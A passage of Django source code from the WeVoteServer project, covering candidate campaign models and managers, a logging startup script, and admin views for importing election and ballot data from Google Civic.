null=True) twitter_url = models.URLField(verbose_name='twitter url of candidate campaign', blank=True, null=True) twitter_user_id = models.BigIntegerField(verbose_name="twitter id", null=True, blank=True) candidate_twitter_handle = models.CharField( verbose_name='candidate twitter screen_name', max_length=255, null=True, unique=False) twitter_name = models.CharField( verbose_name="org name from twitter", max_length=255, null=True, blank=True) twitter_location = models.CharField( verbose_name="org location from twitter", max_length=255, null=True, blank=True) twitter_followers_count = models.IntegerField(verbose_name="number of twitter followers", null=False, blank=True, default=0) twitter_profile_image_url_https = models.URLField(verbose_name='url of logo from twitter', blank=True, null=True) twitter_profile_background_image_url_https = models.URLField(verbose_name='tile-able background from twitter', blank=True, null=True) twitter_profile_banner_url_https = models.URLField(verbose_name='profile banner image from twitter', blank=True, null=True) twitter_description = models.CharField(verbose_name="Text description of this organization from twitter.", max_length=255, null=True, blank=True) google_plus_url = models.URLField(verbose_name='google plus url of candidate campaign', blank=True, null=True) youtube_url = models.URLField(verbose_name='youtube url of candidate campaign', blank=True, null=True) # The email address for the candidate's campaign. candidate_email = models.CharField(verbose_name="candidate campaign email", max_length=255, null=True, blank=True) # The voice phone number for the candidate's campaign office. candidate_phone = models.CharField(verbose_name="candidate campaign phone", max_length=255, null=True, blank=True) wikipedia_page_id = models.BigIntegerField(verbose_name="pageid", null=True, blank=True) wikipedia_page_title = models.CharField( verbose_name="Page title on Wikipedia", max_length=255, null=True, blank=True) wikipedia_photo_url = models.URLField(verbose_name='url of wikipedia logo', blank=True, null=True) ballotpedia_page_title = models.CharField( verbose_name="Page title on Ballotpedia", max_length=255, null=True, blank=True) ballotpedia_photo_url = models.URLField(verbose_name='url of ballotpedia logo', blank=True, null=True) # Official Statement from Candidate in Ballot Guide ballot_guide_official_statement = models.TextField(verbose_name="official candidate statement from ballot guide", null=True, blank=True, default="") def election(self): try: election = Election.objects.get(google_civic_election_id=self.google_civic_election_id) except Election.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) logger.error("candidate.election Found multiple") return except Election.DoesNotExist: logger.error("candidate.election did not find") return return election def office(self): try: office = ContestOffice.objects.get(id=self.contest_office_id) except ContestOffice.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) logger.error("candidate.election Found multiple") return except ContestOffice.DoesNotExist: logger.error("candidate.election did not find") return return office def candidate_photo_url(self): if self.photo_url_from_vote_smart: return self.photo_url_from_vote_smart_large() if self.twitter_profile_image_url_https: return self.twitter_profile_image_url_https_original() if self.photo_url_from_maplight: return self.photo_url_from_maplight if self.photo_url: return self.photo_url else: return "" # "http://votersedge.org/sites/all/modules/map/modules/map_proposition/images/politicians/2662.jpg" # else: # politician_manager = PoliticianManager() # return politician_manager.politician_photo_url(self.politician_id) def photo_url_from_vote_smart_large(self): if positive_value_exists(self.photo_url_from_vote_smart): # Use regex to replace '.jpg' with '_lg.jpg' # Vote smart returns the link to the small photo, but we want to use the large photo photo_url_from_vote_smart_large = re.sub(r'.jpg', r'_lg.jpg', self.photo_url_from_vote_smart) return photo_url_from_vote_smart_large else: return "" def fetch_twitter_handle(self): if positive_value_exists(self.candidate_twitter_handle): return self.candidate_twitter_handle elif self.twitter_url: # Extract the twitter handle from twitter_url if we don't have it stored as a handle yet return extract_twitter_handle_from_text_string(self.twitter_url) return self.twitter_url def twitter_profile_image_url_https_bigger(self): if self.twitter_profile_image_url_https: return self.twitter_profile_image_url_https.replace("_normal", "_bigger") else: return '' def twitter_profile_image_url_https_original(self): if self.twitter_profile_image_url_https: return self.twitter_profile_image_url_https.replace("_normal", "") else: return '' def generate_twitter_link(self): if self.candidate_twitter_handle: return "https://twitter.com/{twitter_handle}".format(twitter_handle=self.candidate_twitter_handle) else: return '' def get_candidate_state(self): if positive_value_exists(self.state_code): return self.state_code else: # Pull this from ocdDivisionId if positive_value_exists(self.ocd_division_id): ocd_division_id = self.ocd_division_id return extract_state_from_ocd_division_id(ocd_division_id) else: return '' def display_candidate_name(self): full_name = self.candidate_name if full_name.isupper(): full_name_corrected_capitalization = display_full_name_with_correct_capitalization(full_name) return full_name_corrected_capitalization return full_name def extract_first_name(self): full_name = self.display_candidate_name() return extract_first_name_from_full_name(full_name) def extract_last_name(self): full_name = self.display_candidate_name return extract_last_name_from_full_name(full_name) def political_party_display(self): return candidate_party_display(self.party) # We override the save function so we can auto-generate we_vote_id def save(self, *args, **kwargs): # Even if this data came from another source we still need a unique we_vote_id if self.we_vote_id: self.we_vote_id = self.we_vote_id.strip().lower() if self.we_vote_id == "" or self.we_vote_id is None: # If there isn't a value... # ...generate a new id site_unique_id_prefix = fetch_site_unique_id_prefix() next_local_integer = fetch_next_we_vote_id_last_candidate_campaign_integer() # "wv" = We Vote # site_unique_id_prefix = a generated (or assigned) unique id for one server running We Vote # "cand" = tells us this is a unique id for a CandidateCampaign # next_integer = a unique, sequential integer for this server - not necessarily tied to database id self.we_vote_id = "wv{site_unique_id_prefix}cand{next_integer}".format( site_unique_id_prefix=site_unique_id_prefix, next_integer=next_local_integer, ) if self.maplight_id == "": # We want this to be unique IF there is a value, and otherwise "None" self.maplight_id = None super(CandidateCampaign, self).save(*args, **kwargs) def fetch_candidate_count_for_office(office_id=0, office_we_vote_id=''): candidate_campaign_list = CandidateCampaignListManager() results = candidate_campaign_list.retrieve_candidate_count_for_office(office_id, office_we_vote_id) return results['candidate_count'] # See also 'convert_to_political_party_constant' in we_vote_functions/functions.py def candidate_party_display(raw_party): if raw_party == 'Amer. Ind.': return 'American Independent' if raw_party == 'DEM': return 'Democrat' if raw_party == 'Democratic': return 'Democrat' if raw_party == 'Party Preference: Democratic': return 'Democrat' if raw_party == 'GRN': return 'Green' if raw_party == 'LIB': return 'Libertarian' if raw_party == 'NPP': return 'No Party Preference' if raw_party == 'Party Preference: None': return 'No Party Preference' if raw_party == 'PF': return 'Peace and Freedom' if raw_party == 'REP': return 'Republican' if raw_party == 'Party Preference: Republican': return 'Republican' if raw_party.lower() == 'none': return '' else: return raw_party def mimic_google_civic_initials(name): modified_name = name.replace(' A ', ' A. ') modified_name = modified_name.replace(' B ', ' B. ') modified_name = modified_name.replace(' C ', ' C. ') modified_name = modified_name.replace(' D ', ' D. ') modified_name = modified_name.replace(' E ', ' E. ') modified_name = modified_name.replace(' F ', ' F. ') modified_name = modified_name.replace(' G ', ' G. ') modified_name = modified_name.replace(' H ', ' H. ') modified_name = modified_name.replace(' I ', ' I. ') modified_name = modified_name.replace(' J ', ' J. ') modified_name = modified_name.replace(' K ', ' K. ') modified_name = modified_name.replace(' L ', ' L. ') modified_name = modified_name.replace(' M ', ' M. ') modified_name = modified_name.replace(' N ', ' N. ') modified_name = modified_name.replace(' O ', ' O. ') modified_name = modified_name.replace(' P ', ' P. ') modified_name = modified_name.replace(' Q ', ' Q. ') modified_name = modified_name.replace(' R ', ' R. ') modified_name = modified_name.replace(' S ', ' S. ') modified_name = modified_name.replace(' T ', ' T. ') modified_name = modified_name.replace(' U ', ' U. ') modified_name = modified_name.replace(' V ', ' V. ') modified_name = modified_name.replace(' W ', ' W. ') modified_name = modified_name.replace(' X ', ' X. ') modified_name = modified_name.replace(' Y ', ' Y. ') modified_name = modified_name.replace(' Z ', ' Z. ') return modified_name class CandidateCampaignManager(models.Model): def __unicode__(self): return "CandidateCampaignManager" def retrieve_candidate_campaign_from_id(self, candidate_campaign_id): candidate_campaign_manager = CandidateCampaignManager() return candidate_campaign_manager.retrieve_candidate_campaign(candidate_campaign_id) def retrieve_candidate_campaign_from_we_vote_id(self, we_vote_id): candidate_campaign_id = 0 candidate_campaign_manager = CandidateCampaignManager() return candidate_campaign_manager.retrieve_candidate_campaign(candidate_campaign_id, we_vote_id) def fetch_candidate_campaign_id_from_we_vote_id(self, we_vote_id): candidate_campaign_id = 0 candidate_campaign_manager = CandidateCampaignManager() results = candidate_campaign_manager.retrieve_candidate_campaign(candidate_campaign_id, we_vote_id) if results['success']: return results['candidate_campaign_id'] return 0 def fetch_candidate_campaign_we_vote_id_from_id(self, candidate_campaign_id): we_vote_id = '' candidate_campaign_manager = CandidateCampaignManager() results = candidate_campaign_manager.retrieve_candidate_campaign(candidate_campaign_id, we_vote_id) if results['success']: return results['candidate_campaign_we_vote_id'] return '' def fetch_google_civic_candidate_name_from_we_vote_id(self, we_vote_id): candidate_campaign_id = 0 candidate_campaign_manager = CandidateCampaignManager() results = candidate_campaign_manager.retrieve_candidate_campaign(candidate_campaign_id, we_vote_id) if results['success']: candidate_campaign = results['candidate_campaign'] return candidate_campaign.google_civic_candidate_name return 0 def retrieve_candidate_campaign_from_maplight_id(self, candidate_maplight_id): candidate_campaign_id = 0 we_vote_id = '' candidate_campaign_manager = CandidateCampaignManager() return candidate_campaign_manager.retrieve_candidate_campaign( candidate_campaign_id, we_vote_id, candidate_maplight_id) def retrieve_candidate_campaign_from_vote_smart_id(self, candidate_vote_smart_id): candidate_campaign_id = 0 we_vote_id = '' candidate_maplight_id = '' candidate_name = '' candidate_campaign_manager = CandidateCampaignManager() return candidate_campaign_manager.retrieve_candidate_campaign( candidate_campaign_id, we_vote_id, candidate_maplight_id, candidate_name, candidate_vote_smart_id) def retrieve_candidate_campaign_from_candidate_name(self, candidate_name): candidate_campaign_id = 0 we_vote_id = '' candidate_maplight_id = '' candidate_campaign_manager = CandidateCampaignManager() results = candidate_campaign_manager.retrieve_candidate_campaign( candidate_campaign_id, we_vote_id, candidate_maplight_id, candidate_name) if results['success']: return results # Try to modify the candidate name, and search again # MapLight for example will pass in "<NAME>" for example candidate_name_try2 = candidate_name.replace(' ', ' ') results = candidate_campaign_manager.retrieve_candidate_campaign( candidate_campaign_id, we_vote_id, candidate_maplight_id, candidate_name_try2) if results['success']: return results # MapLight also passes in "<NAME>" for example, and Google Civic uses "<NAME>" candidate_name_try3 = mimic_google_civic_initials(candidate_name) if candidate_name_try3 != candidate_name: results = candidate_campaign_manager.retrieve_candidate_campaign( candidate_campaign_id, we_vote_id, candidate_maplight_id, candidate_name_try3) if results['success']: return results # Otherwise return failed results return results # NOTE: searching by all other variables seems to return a list of objects def retrieve_candidate_campaign( self, candidate_campaign_id, candidate_campaign_we_vote_id=None, candidate_maplight_id=None, candidate_name=None, candidate_vote_smart_id=None): error_result = False exception_does_not_exist = False exception_multiple_object_returned = False candidate_campaign_on_stage = CandidateCampaign() try: if positive_value_exists(candidate_campaign_id): candidate_campaign_on_stage = CandidateCampaign.objects.get(id=candidate_campaign_id) candidate_campaign_id = candidate_campaign_on_stage.id candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id status = "RETRIEVE_CANDIDATE_FOUND_BY_ID" elif positive_value_exists(candidate_campaign_we_vote_id): candidate_campaign_on_stage = CandidateCampaign.objects.get(we_vote_id=candidate_campaign_we_vote_id) candidate_campaign_id = candidate_campaign_on_stage.id candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id status = "RETRIEVE_CANDIDATE_FOUND_BY_WE_VOTE_ID" elif positive_value_exists(candidate_maplight_id): candidate_campaign_on_stage = CandidateCampaign.objects.get(maplight_id=candidate_maplight_id) candidate_campaign_id = candidate_campaign_on_stage.id candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id status = "RETRIEVE_CANDIDATE_FOUND_BY_MAPLIGHT_ID" elif positive_value_exists(candidate_vote_smart_id): candidate_campaign_on_stage = CandidateCampaign.objects.get(vote_smart_id=candidate_vote_smart_id) candidate_campaign_id = candidate_campaign_on_stage.id candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id status = "RETRIEVE_CANDIDATE_FOUND_BY_VOTE_SMART_ID" elif positive_value_exists(candidate_name): candidate_campaign_on_stage = CandidateCampaign.objects.get(candidate_name=candidate_name) candidate_campaign_id = candidate_campaign_on_stage.id candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id status = "RETRIEVE_CANDIDATE_FOUND_BY_NAME" else: status = "RETRIEVE_CANDIDATE_SEARCH_INDEX_MISSING" except CandidateCampaign.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) exception_multiple_object_returned = True status = "RETRIEVE_CANDIDATE_MULTIPLE_OBJECTS_RETURNED" except CandidateCampaign.DoesNotExist: exception_does_not_exist = True status = "RETRIEVE_CANDIDATE_NOT_FOUND" results = { 'success': True if convert_to_int(candidate_campaign_id) > 0 else False, 'status': status, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'candidate_campaign_found': True if convert_to_int(candidate_campaign_id) else False, 'candidate_campaign_id': convert_to_int(candidate_campaign_id), 'candidate_campaign_we_vote_id': candidate_campaign_we_vote_id, 'candidate_campaign': candidate_campaign_on_stage, } return results def update_or_create_candidate_campaign(self, we_vote_id, google_civic_election_id, ocd_division_id, contest_office_id, contest_office_we_vote_id, google_civic_candidate_name, updated_candidate_campaign_values): """ Either update or create a candidate_campaign entry. """ exception_multiple_object_returned = False new_candidate_created = False candidate_campaign_on_stage = CandidateCampaign() if not positive_value_exists(google_civic_election_id): success = False status = 'MISSING_GOOGLE_CIVIC_ELECTION_ID' # We are avoiding requiring ocd_division_id # elif not positive_value_exists(ocd_division_id): # success = False # status = 'MISSING_OCD_DIVISION_ID' # DALE 2016-02-20 We are not requiring contest_office_id or contest_office_we_vote_id to match a candidate # elif not positive_value_exists(contest_office_we_vote_id): # and not positive_value_exists(contest_office_id): # success = False # status = 'MISSING_CONTEST_OFFICE_ID' elif not positive_value_exists(google_civic_candidate_name): success = False status = 'MISSING_GOOGLE_CIVIC_CANDIDATE_NAME' else: try: # Note: When we decide to start updating candidate_name elsewhere within We Vote, we should stop # updating candidate_name via subsequent Google Civic imports # If coming from a record that has already been in We Vote if positive_value_exists(we_vote_id) and positive_value_exists(contest_office_we_vote_id): # If here we are using permanent public identifier contest_office_we_vote_id candidate_campaign_on_stage, new_candidate_created = \ CandidateCampaign.objects.update_or_create( google_civic_election_id__exact=google_civic_election_id, we_vote_id__iexact=we_vote_id, contest_office_we_vote_id__iexact=contest_office_we_vote_id, defaults=updated_candidate_campaign_values) # If coming (most likely) from a Google Civic import, or internal bulk update else: # If here we are using internal contest_office_id candidate_campaign_on_stage, new_candidate_created = \ CandidateCampaign.objects.update_or_create( google_civic_election_id__exact=google_civic_election_id, # ocd_division_id__exact=ocd_division_id, # 2016-02-20 We want to allow contest_office ids to change # contest_office_we_vote_id__iexact=contest_office_we_vote_id, google_civic_candidate_name__exact=google_civic_candidate_name, defaults=updated_candidate_campaign_values) success = True status = 'CANDIDATE_CAMPAIGN_SAVED' except CandidateCampaign.MultipleObjectsReturned as e: success = False status = 'MULTIPLE_MATCHING_CANDIDATE_CAMPAIGNS_FOUND' exception_multiple_object_returned = True exception_message_optional = status handle_record_found_more_than_one_exception( e, logger=logger, exception_message_optional=exception_message_optional) results = { 'success': success, 'status': status, 'MultipleObjectsReturned': exception_multiple_object_returned, 'new_candidate_created': new_candidate_created, 'candidate_campaign': candidate_campaign_on_stage, } return results def update_candidate_social_media(self, candidate, candidate_twitter_handle=False, candidate_facebook=False): """ Update a candidate entry with general social media data. If a value is passed in False it means "Do not update" """ exception_does_not_exist = False exception_multiple_object_returned = False success = False status = "ENTERING_UPDATE_CANDIDATE_SOCIAL_MEDIA" values_changed = False candidate_twitter_handle = candidate_twitter_handle.strip() if candidate_twitter_handle else False candidate_facebook = candidate_facebook.strip() if candidate_facebook else False # candidate_image = candidate_image.strip() if candidate_image else False if candidate: if candidate_twitter_handle: if candidate_twitter_handle != candidate.candidate_twitter_handle: candidate.candidate_twitter_handle = candidate_twitter_handle values_changed = True if candidate_facebook: if candidate_facebook != candidate.facebook_url: candidate.facebook_url = candidate_facebook values_changed = True if values_changed: candidate.save() success = True status = "SAVED_CANDIDATE_SOCIAL_MEDIA" else: success = True status = "NO_CHANGES_SAVED_TO_CANDIDATE_SOCIAL_MEDIA" results = { 'success': success, 'status': status, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'candidate': candidate, } return results def update_candidate_twitter_details(self, candidate, twitter_json): """ Update a candidate entry with details retrieved from the Twitter API. """ success = False status = "ENTERING_UPDATE_CANDIDATE_TWITTER_DETAILS" values_changed = False if candidate: if positive_value_exists(twitter_json['id']): if convert_to_int(twitter_json['id']) != candidate.twitter_user_id: candidate.twitter_user_id = convert_to_int(twitter_json['id']) values_changed = True if positive_value_exists(twitter_json['screen_name']): if twitter_json['screen_name'] != candidate.candidate_twitter_handle: candidate.candidate_twitter_handle = twitter_json['screen_name'] values_changed = True if positive_value_exists(twitter_json['name']): if twitter_json['name'] != candidate.twitter_name: candidate.twitter_name = twitter_json['name'] values_changed = True if positive_value_exists(twitter_json['followers_count']): if convert_to_int(twitter_json['followers_count']) != candidate.twitter_followers_count: candidate.twitter_followers_count = convert_to_int(twitter_json['followers_count']) values_changed = True if positive_value_exists(twitter_json['profile_image_url_https']): if twitter_json['profile_image_url_https'] != candidate.twitter_profile_image_url_https: candidate.twitter_profile_image_url_https = twitter_json['profile_image_url_https'] values_changed = True if ('profile_banner_url' in twitter_json) and positive_value_exists(twitter_json['profile_banner_url']): if twitter_json['profile_banner_url'] != candidate.twitter_profile_banner_url_https: candidate.twitter_profile_banner_url_https = twitter_json['profile_banner_url'] values_changed = True if positive_value_exists(twitter_json['profile_background_image_url_https']): if twitter_json['profile_background_image_url_https'] != \ candidate.twitter_profile_background_image_url_https: candidate.twitter_profile_background_image_url_https = \ twitter_json['profile_background_image_url_https'] values_changed = True if positive_value_exists(twitter_json['description']): if twitter_json['description'] != candidate.twitter_description: candidate.twitter_description = twitter_json['description'] values_changed = True if positive_value_exists(twitter_json['location']): if twitter_json['location'] != candidate.twitter_location: candidate.twitter_location = twitter_json['location'] values_changed = True if values_changed: candidate.save() success = True status = "SAVED_CANDIDATE_TWITTER_DETAILS" else: success = True status = "NO_CHANGES_SAVED_TO_CANDIDATE_TWITTER_DETAILS" results = { 'success': success, 'status': status, 'candidate': candidate, } return results def clear_candidate_twitter_details(self, candidate): """ Update an candidate entry with details retrieved from the Twitter API. """ success = False status = "ENTERING_UPDATE_CANDIDATE_TWITTER_DETAILS" if candidate: candidate.twitter_user_id = 0 # We leave the handle in place # candidate.candidate_twitter_handle = "" candidate.twitter_name = '' candidate.twitter_followers_count = 0 candidate.twitter_profile_image_url_https = '' candidate.twitter_description = '' candidate.twitter_location = '' candidate.save() success = True status = "CLEARED_CANDIDATE_TWITTER_DETAILS" results = { 'success': success, 'status': status, 'candidate': candidate, } return results def refresh_cached_candidate_info(self, candidate_object): """ The candidate tables cache information from other tables. This function reaches out to the source tables and copies over the latest information to the candidate table. :param candidate_object: :return: """ candidate_change = False if not positive_value_exists(candidate_object.contest_office_id) \ or not positive_value_exists(candidate_object.contest_office_we_vote_id) \ or not positive_value_exists(candidate_object.contest_office_name): office_found = False contest_office_manager = ContestOfficeManager() if positive_value_exists(candidate_object.contest_office_id): results = contest_office_manager.retrieve_contest_office_from_id(candidate_object.contest_office_id) office_found = results['contest_office_found'] elif positive_value_exists(candidate_object.contest_office_we_vote_id): results = contest_office_manager.retrieve_contest_office_from_we_vote_id( candidate_object.contest_office_we_vote_id) office_found = results['contest_office_found'] if office_found: office_object = results['contest_office'] if not positive_value_exists(candidate_object.contest_office_id): candidate_object.contest_office_id = office_object.id candidate_change = True if not positive_value_exists(candidate_object.contest_office_we_vote_id): candidate_object.contest_office_we_vote_id = office_object.we_vote_id candidate_change = True if not positive_value_exists(candidate_object.contest_office_name): candidate_object.contest_office_name = office_object.office_name candidate_change = True if candidate_change: candidate_object.save() return candidate_object ``` #### File: WeVoteServer/config/startup.py ```python import wevote_functions.admin from config import settings def run(): wevote_functions.admin.setup_logging( stream=settings.LOG_STREAM, logfile=settings.LOG_FILE, stream_level=settings.LOG_STREAM_LEVEL, file_level=settings.LOG_FILE_LEVEL ) print('Running') ``` #### File: WeVoteServer/election/views_admin.py ```python from .controllers import election_remote_retrieve, elections_import_from_master_server, elections_sync_out_list_for_api from .models import Election from .serializers import ElectionSerializer from admin_tools.views import redirect_to_sign_in_page from ballot.models import BallotReturnedListManager from candidate.models import CandidateCampaignListManager from django.http import HttpResponse, HttpResponseRedirect from django.core.urlresolvers import reverse from django.contrib import messages from django.contrib.auth.decorators import login_required from django.contrib.messages import get_messages from django.shortcuts import render from election.models import ElectionManager from exception.models import handle_record_found_more_than_one_exception, handle_record_not_found_exception, \ handle_record_not_saved_exception from import_export_google_civic.controllers import retrieve_one_ballot_from_google_civic_api, \ store_one_ballot_from_google_civic_api import json from office.models import ContestOfficeListManager from polling_location.models import PollingLocation from position.models import PositionListManager from rest_framework.views import APIView from rest_framework.response import Response from voter.models import voter_has_authority import wevote_functions.admin from wevote_functions.functions import convert_to_int, get_voter_device_id, positive_value_exists from wevote_settings.models import fetch_next_we_vote_election_id_integer logger = wevote_functions.admin.get_logger(__name__) @login_required def election_all_ballots_retrieve_view(request, election_local_id=0): """ Reach out to Google and retrieve (for one election): 1) Polling locations (so we can use those addresses to retrieve a representative set of ballots) 2) Cycle through a portion of those polling locations, enough that we are caching all of the possible ballot items :param request: :return: """ authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) try: if positive_value_exists(election_local_id): election_on_stage = Election.objects.get(id=election_local_id) else: election_on_stage = Election.objects.get(google_civic_election_id=google_civic_election_id) election_local_id = election_on_stage.id except Election.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) messages.add_message(request, messages.ERROR, 'Could not retrieve ballot data. More than one election found.') return HttpResponseRedirect(reverse('election:election_list', args=())) except Election.DoesNotExist: messages.add_message(request, messages.ERROR, 'Could not retrieve ballot data. Election could not be found.') return HttpResponseRedirect(reverse('election:election_list', args=())) # Check to see if we have polling location data related to the region(s) covered by this election # We request the ballot data for each polling location as a way to build up our local data state = election_on_stage.get_election_state() try: polling_location_count_query = PollingLocation.objects.all() polling_location_count_query = polling_location_count_query.filter(state__iexact=state) polling_location_count = polling_location_count_query.count() polling_location_list = PollingLocation.objects.all() polling_location_list = polling_location_list.filter(state__iexact=state) # We used to have a limit of 500 ballots to pull per election, but now retrieve all # Ordering by "location_name" creates a bit of (locational) random order polling_location_list = polling_location_list.order_by('location_name') # [:500] except PollingLocation.DoesNotExist: messages.add_message(request, messages.INFO, 'Could not retrieve ballot data for the {election_name}. ' 'No polling locations exist for the state \'{state}\'. ' 'Data needed from VIP.'.format( election_name=election_on_stage.election_name, state=state)) return HttpResponseRedirect(reverse('election:election_summary', args=(election_local_id,))) if polling_location_count == 0: messages.add_message(request, messages.ERROR, 'Could not retrieve ballot data for the {election_name}. ' 'No polling locations returned for the state \'{state}\'. (error 2)'.format( election_name=election_on_stage.election_name, state=state)) return HttpResponseRedirect(reverse('election:election_summary', args=(election_local_id,))) ballots_retrieved = 0 ballots_not_retrieved = 0 ballots_with_contests_retrieved = 0 # We used to only retrieve up to 500 locations from each state, but we don't limit now # # We retrieve 10% of the total polling locations, which should give us coverage of the entire election # number_of_polling_locations_to_retrieve = int(.1 * polling_location_count) for polling_location in polling_location_list: success = False # Get the address for this polling place, and then retrieve the ballot from Google Civic API text_for_map_search = polling_location.get_text_for_map_search() one_ballot_results = retrieve_one_ballot_from_google_civic_api( text_for_map_search, election_on_stage.google_civic_election_id) if one_ballot_results['success']: one_ballot_json = one_ballot_results['structured_json'] store_one_ballot_results = store_one_ballot_from_google_civic_api(one_ballot_json, 0, polling_location.we_vote_id) if store_one_ballot_results['success']: success = True if success: ballots_retrieved += 1 else: ballots_not_retrieved += 1 if one_ballot_results['contests_retrieved']: ballots_with_contests_retrieved += 1 # We used to only retrieve up to 500 locations from each state, but we don't limit now # # Break out of this loop, assuming we have a minimum number of ballots with contests retrieved # # If we don't achieve the minimum number of ballots_with_contests_retrieved, break out at the emergency level # emergency = (ballots_retrieved + ballots_not_retrieved) >= (3 * number_of_polling_locations_to_retrieve) # if ((ballots_retrieved + ballots_not_retrieved) >= number_of_polling_locations_to_retrieve and # ballots_with_contests_retrieved > 20) or emergency: # break if ballots_retrieved > 0: total_retrieved = ballots_retrieved + ballots_not_retrieved messages.add_message(request, messages.INFO, 'Ballot data retrieved from Google Civic for the {election_name}. ' '(ballots retrieved: {ballots_retrieved} ' '(with contests: {ballots_with_contests_retrieved}), ' 'not retrieved: {ballots_not_retrieved}, ' 'total: {total})'.format( ballots_retrieved=ballots_retrieved, ballots_not_retrieved=ballots_not_retrieved, ballots_with_contests_retrieved=ballots_with_contests_retrieved, election_name=election_on_stage.election_name, total=total_retrieved)) else: messages.add_message(request, messages.ERROR, 'Ballot data NOT retrieved from Google Civic for the {election_name}.' ' (not retrieved: {ballots_not_retrieved})'.format( ballots_not_retrieved=ballots_not_retrieved, election_name=election_on_stage.election_name)) return HttpResponseRedirect(reverse('election:election_summary', args=(election_local_id,))) @login_required def election_edit_view(request, election_local_id): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) election_local_id = convert_to_int(election_local_id) election_on_stage_found = False election_on_stage = Election() if positive_value_exists(election_local_id): try: election_on_stage = Election.objects.get(id=election_local_id) election_on_stage_found = True except Election.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except Election.DoesNotExist: # This is fine, create new pass else: # If here we are creating a pass if election_on_stage_found: template_values = { 'messages_on_stage': messages_on_stage, 'election': election_on_stage, } else: template_values = { 'messages_on_stage': messages_on_stage, } return render(request, "election/election_edit.html", template_values) @login_required() def election_edit_process_view(request): """ Process the new or edit election forms :param request: :return: """ authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) election_local_id = convert_to_int(request.POST.get('election_local_id', 0)) election_name = request.POST.get('election_name', False) election_day_text = request.POST.get('election_day_text', False) state_code = request.POST.get('state_code', False) election_on_stage = Election() election_changed = False # Check to see if this election is already being used anywhere election_on_stage_found = False try: election_query = Election.objects.filter(id=election_local_id) if len(election_query): election_on_stage = election_query[0] election_on_stage_found = True except Exception as e: handle_record_not_found_exception(e, logger=logger) try: if election_on_stage_found: if convert_to_int(election_on_stage.google_civic_election_id) < 1000000: # If here, this is an election created by Google Civic and we limit what fields to update # Update if state_code is not False: election_on_stage.state_code = state_code election_changed = True if election_changed: election_on_stage.save() messages.add_message(request, messages.INFO, 'Google Civic-created election updated.') else: # If here, this is a We Vote created election # Update if election_name is not False: election_on_stage.election_name = election_name election_changed = True if election_day_text is not False: election_on_stage.election_day_text = election_day_text election_changed = True if state_code is not False: election_on_stage.state_code = state_code election_changed = True if election_changed: election_on_stage.save() messages.add_message(request, messages.INFO, 'We Vote-created election updated.') else: # Create new next_local_election_id_integer = fetch_next_we_vote_election_id_integer() election_on_stage = Election( google_civic_election_id=next_local_election_id_integer, election_name=election_name, election_day_text=election_day_text, state_code=state_code, ) election_on_stage.save() messages.add_message(request, messages.INFO, 'New election saved.') except Exception as e: handle_record_not_saved_exception(e, logger=logger) messages.add_message(request, messages.ERROR, 'Could not save election.') return HttpResponseRedirect(reverse('election:election_list', args=())) @login_required() def election_list_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) election_list_query = Election.objects.all() election_list_query = election_list_query.order_by('election_day_text').reverse() election_list = election_list_query template_values = { 'messages_on_stage': messages_on_stage, 'election_list': election_list, } return render(request, 'election/election_list.html', template_values) @login_required() def election_remote_retrieve_view(request): """ Reach out to Google and retrieve the latest list of available elections :param request: :return: """ authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) results = election_remote_retrieve() if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: messages.add_message(request, messages.INFO, 'Upcoming elections retrieved from Google Civic.') return HttpResponseRedirect(reverse('election:election_list', args=())) @login_required() def election_summary_view(request, election_local_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) election_local_id = convert_to_int(election_local_id) election_on_stage_found = False election_on_stage = Election() try: election_on_stage = Election.objects.get(id=election_local_id) election_on_stage_found = True except Election.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except Election.DoesNotExist: # This is fine, proceed anyways pass if election_on_stage_found: ballot_returned_list_manager = BallotReturnedListManager() ballot_returned_list_results = ballot_returned_list_manager.retrieve_ballot_returned_list_for_election( election_on_stage.google_civic_election_id) if ballot_returned_list_results['success']: ballot_returned_list = ballot_returned_list_results['ballot_returned_list'] else: ballot_returned_list = [] template_values = { 'messages_on_stage': messages_on_stage, 'election': election_on_stage, 'ballot_returned_list': ballot_returned_list, } else: template_values = { 'messages_on_stage': messages_on_stage, } return render(request, 'election/election_summary.html', template_values) # TODO Which of these two do we standardize on? class ElectionsSyncOutView(APIView): """ Export raw voter data to JSON format """ def get(self, request): # Removed: , format=None voter_device_id = get_voter_device_id(request) # We standardize how we take in the voter_device_id results = elections_sync_out_list_for_api(voter_device_id) if 'success' not in results: json_data = results['json_data'] return HttpResponse(json.dumps(json_data), content_type='application/json') elif not results['success']: json_data = results['json_data'] return HttpResponse(json.dumps(json_data), content_type='application/json') else: election_list = results['election_list'] serializer = ElectionSerializer(election_list, many=True) return Response(serializer.data) # This page does not need to be protected. class ExportElectionDataView(APIView): def get(self, request, format=None): election_list = Election.objects.all() serializer = ElectionSerializer(election_list, many=True) return Response(serializer.data) @login_required def 